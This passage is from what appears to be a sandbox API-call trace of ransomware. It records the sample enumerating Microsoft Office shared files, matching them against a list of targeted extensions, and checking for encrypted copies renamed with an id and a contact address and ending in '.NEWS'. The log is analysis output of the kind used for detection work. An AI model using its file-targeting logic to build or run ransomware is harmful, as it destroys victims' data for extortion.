Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.270] lstrlenW (lpString=".1cd") returned 4 [0062.270] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.270] lstrlenW (lpString=".jpg") returned 4 [0062.270] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.270] lstrlenW (lpString=".doc") returned 4 [0062.270] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString=".docx") returned 5 [0062.270] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0062.270] lstrlenW (lpString=".pdf") returned 4 [0062.270] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString=".xls") returned 4 [0062.270] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString=".xlsx") returned 5 [0062.270] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0062.270] lstrlenW (lpString=".ppt") returned 4 [0062.270] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0062.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.270] lstrlenW (lpString=".zip") returned 4 [0062.271] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0062.271] lstrlenW (lpString=".rar") returned 4 [0062.271] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0062.271] lstrlenW (lpString=".bz2") returned 4 [0062.271] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0062.271] lstrlenW (lpString=".7z") returned 3 [0062.271] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0062.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.271] lstrlenW (lpString=".dbf") returned 4 [0062.271] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0062.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.271] lstrlenW (lpString=".1cd") returned 4 [0062.271] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0062.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0062.271] lstrlenW (lpString=".jpg") returned 4 [0062.271] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0062.404] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0062.404] lstrlenW (lpString="Bears.jpg") returned 9 [0062.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.727] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1074) returned 1 [0062.727] CloseHandle (hObject=0x1f4) returned 1 [0062.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0062.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.727] lstrlenW (lpString=".doc") returned 4 [0062.727] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0062.728] lstrlenW (lpString=".docx") returned 5 [0062.728] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0062.728] lstrlenW (lpString=".pdf") returned 4 [0062.728] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0062.728] lstrlenW (lpString=".xls") returned 4 [0062.728] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0062.728] lstrlenW (lpString=".xlsx") returned 5 [0062.728] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0062.728] lstrlenW (lpString=".ppt") returned 4 [0062.728] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0062.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.728] lstrlenW (lpString=".zip") returned 4 [0062.728] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0062.728] lstrlenW (lpString=".rar") returned 4 [0062.728] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0062.728] lstrlenW (lpString=".bz2") returned 4 [0062.728] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0062.728] lstrlenW (lpString=".7z") returned 3 [0062.728] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0062.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.728] lstrlenW (lpString=".dbf") returned 4 [0062.729] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0062.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.729] lstrlenW (lpString=".1cd") returned 4 [0062.729] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0062.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.729] lstrlenW (lpString=".jpg") returned 4 [0062.729] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0062.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.729] lstrlenW (lpString=".doc") returned 4 [0062.729] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0062.729] lstrlenW (lpString=".docx") returned 5 [0062.729] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0062.729] lstrlenW (lpString=".pdf") returned 4 [0062.729] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0062.729] lstrlenW (lpString=".xls") returned 4 [0062.729] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0062.729] lstrlenW (lpString=".xlsx") returned 5 [0062.729] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0062.730] lstrlenW (lpString=".ppt") returned 4 [0062.730] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0062.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.730] lstrlenW (lpString=".zip") returned 4 [0062.730] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0062.730] lstrlenW (lpString=".rar") returned 4 [0062.730] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0062.730] lstrlenW (lpString=".bz2") returned 4 [0062.730] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0062.730] lstrlenW (lpString=".7z") returned 3 [0062.730] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0062.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.730] lstrlenW (lpString=".dbf") returned 4 [0062.730] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0062.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.730] lstrlenW (lpString=".1cd") returned 4 [0062.730] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0062.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0062.730] lstrlenW (lpString=".jpg") returned 4 [0062.730] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0062.731] lstrcmpiW (lpString1=".jpg", lpString2=".NEWS") returned -1 [0062.731] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0062.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.733] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2575) returned 1 [0062.733] CloseHandle (hObject=0x1f4) returned 1 [0062.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0062.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.733] lstrlenW (lpString=".doc") returned 4 [0062.733] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0062.733] lstrlenW (lpString=".docx") returned 5 [0062.733] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0062.733] lstrlenW (lpString=".pdf") returned 4 [0062.734] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0062.734] lstrlenW (lpString=".xls") returned 4 [0062.734] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0062.734] lstrlenW (lpString=".xlsx") returned 5 [0062.734] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0062.734] lstrlenW (lpString=".ppt") returned 4 [0062.734] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0062.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.734] lstrlenW (lpString=".zip") returned 4 [0062.734] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0062.734] lstrlenW (lpString=".rar") returned 4 [0062.734] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0062.734] lstrlenW (lpString=".bz2") returned 4 [0062.734] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0062.734] lstrlenW (lpString=".7z") returned 3 [0062.734] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0062.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.734] lstrlenW (lpString=".dbf") returned 4 [0062.734] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0062.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.734] lstrlenW (lpString=".1cd") returned 4 [0062.734] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0062.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.735] lstrlenW (lpString=".jpg") returned 4 [0062.735] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0062.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.735] lstrlenW (lpString=".doc") returned 4 [0062.735] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0062.735] lstrlenW (lpString=".docx") returned 5 [0062.735] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0062.735] lstrlenW (lpString=".pdf") returned 4 [0062.735] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0062.735] lstrlenW (lpString=".xls") returned 4 [0062.735] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0062.735] lstrlenW (lpString=".xlsx") returned 5 [0062.735] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0062.735] lstrlenW (lpString=".ppt") returned 4 [0062.735] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0062.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.735] lstrlenW (lpString=".zip") returned 4 [0062.735] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0062.736] lstrlenW (lpString=".rar") returned 4 [0062.736] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0062.736] lstrlenW (lpString=".bz2") returned 4 [0062.736] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0062.736] lstrlenW (lpString=".7z") returned 3 [0062.736] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0062.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.736] lstrlenW (lpString=".dbf") returned 4 [0062.736] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0062.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.736] lstrlenW (lpString=".1cd") returned 4 [0062.736] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0062.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0062.736] lstrlenW (lpString=".jpg") returned 4 [0062.736] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0062.736] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0062.737] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0062.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.737] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4587) returned 1 [0062.737] CloseHandle (hObject=0x1f4) returned 1 [0062.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0062.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.737] lstrlenW (lpString=".doc") returned 4 [0062.738] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0062.738] lstrlenW (lpString=".docx") returned 5 [0062.738] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0062.738] lstrlenW (lpString=".pdf") returned 4 [0062.738] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0062.738] lstrlenW (lpString=".xls") returned 4 [0062.738] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0062.738] lstrlenW (lpString=".xlsx") returned 5 [0062.738] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0062.738] lstrlenW (lpString=".ppt") returned 4 [0062.738] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0062.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.738] lstrlenW (lpString=".zip") returned 4 [0062.738] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0062.738] lstrlenW (lpString=".rar") returned 4 [0062.738] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0062.738] lstrlenW (lpString=".bz2") returned 4 [0062.738] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0062.738] lstrlenW (lpString=".7z") returned 3 [0062.738] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0062.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.738] lstrlenW (lpString=".dbf") returned 4 [0062.739] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0062.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.739] lstrlenW (lpString=".1cd") returned 4 [0062.739] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0062.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.739] lstrlenW (lpString=".jpg") returned 4 [0062.739] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0062.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.739] lstrlenW (lpString=".doc") returned 4 [0062.739] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0062.739] lstrlenW (lpString=".docx") returned 5 [0062.739] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0062.739] lstrlenW (lpString=".pdf") returned 4 [0062.739] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0062.739] lstrlenW (lpString=".xls") returned 4 [0062.739] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0062.739] lstrlenW (lpString=".xlsx") returned 5 [0062.739] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0062.739] lstrlenW (lpString=".ppt") returned 4 [0062.740] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0062.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.740] lstrlenW (lpString=".zip") returned 4 [0062.740] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0062.740] lstrlenW (lpString=".rar") returned 4 [0062.740] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0062.740] lstrlenW (lpString=".bz2") returned 4 [0062.740] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0062.740] lstrlenW (lpString=".7z") returned 3 [0062.740] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0062.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.740] lstrlenW (lpString=".dbf") returned 4 [0062.740] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0062.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.740] lstrlenW (lpString=".1cd") returned 4 [0062.740] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0062.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0062.740] lstrlenW (lpString=".jpg") returned 4 [0062.740] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0062.741] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0062.741] lstrlenW (lpString="Connectivity.gif") returned 16 [0062.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.741] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2319) returned 1 [0062.741] CloseHandle (hObject=0x1f4) returned 1 [0062.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0062.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0062.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.742] lstrlenW (lpString=".doc") returned 4 [0062.742] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0062.742] lstrlenW (lpString=".docx") returned 5 [0062.742] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0062.742] lstrlenW (lpString=".pdf") returned 4 [0062.742] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0062.742] lstrlenW (lpString=".xls") returned 4 [0062.742] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0062.742] lstrlenW (lpString=".xlsx") returned 5 [0062.742] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0062.742] lstrlenW (lpString=".ppt") returned 4 [0062.742] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.743] lstrlenW (lpString=".zip") returned 4 [0062.743] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0062.743] lstrlenW (lpString=".rar") returned 4 [0062.743] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0062.743] lstrlenW (lpString=".bz2") returned 4 [0062.743] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0062.743] lstrlenW (lpString=".7z") returned 3 [0062.743] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.743] lstrlenW (lpString=".dbf") returned 4 [0062.743] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.743] lstrlenW (lpString=".1cd") returned 4 [0062.743] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.743] lstrlenW (lpString=".jpg") returned 4 [0062.743] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.744] lstrlenW (lpString=".doc") returned 4 [0062.744] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0062.744] lstrlenW (lpString=".docx") returned 5 [0062.744] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0062.744] lstrlenW (lpString=".pdf") returned 4 [0062.744] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0062.744] lstrlenW (lpString=".xls") returned 4 [0062.744] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0062.744] lstrlenW (lpString=".xlsx") returned 5 [0062.744] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0062.744] lstrlenW (lpString=".ppt") returned 4 [0062.744] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0062.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.744] lstrlenW (lpString=".zip") returned 4 [0062.744] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0062.744] lstrlenW (lpString=".rar") returned 4 [0062.744] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0062.744] lstrlenW (lpString=".bz2") returned 4 [0062.744] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0062.744] lstrlenW (lpString=".7z") returned 3 [0062.744] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0062.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.745] lstrlenW (lpString=".dbf") returned 4 [0062.745] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0062.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.745] lstrlenW (lpString=".1cd") returned 4 [0062.745] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0062.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0062.745] lstrlenW (lpString=".jpg") returned 4 [0062.745] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0062.745] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 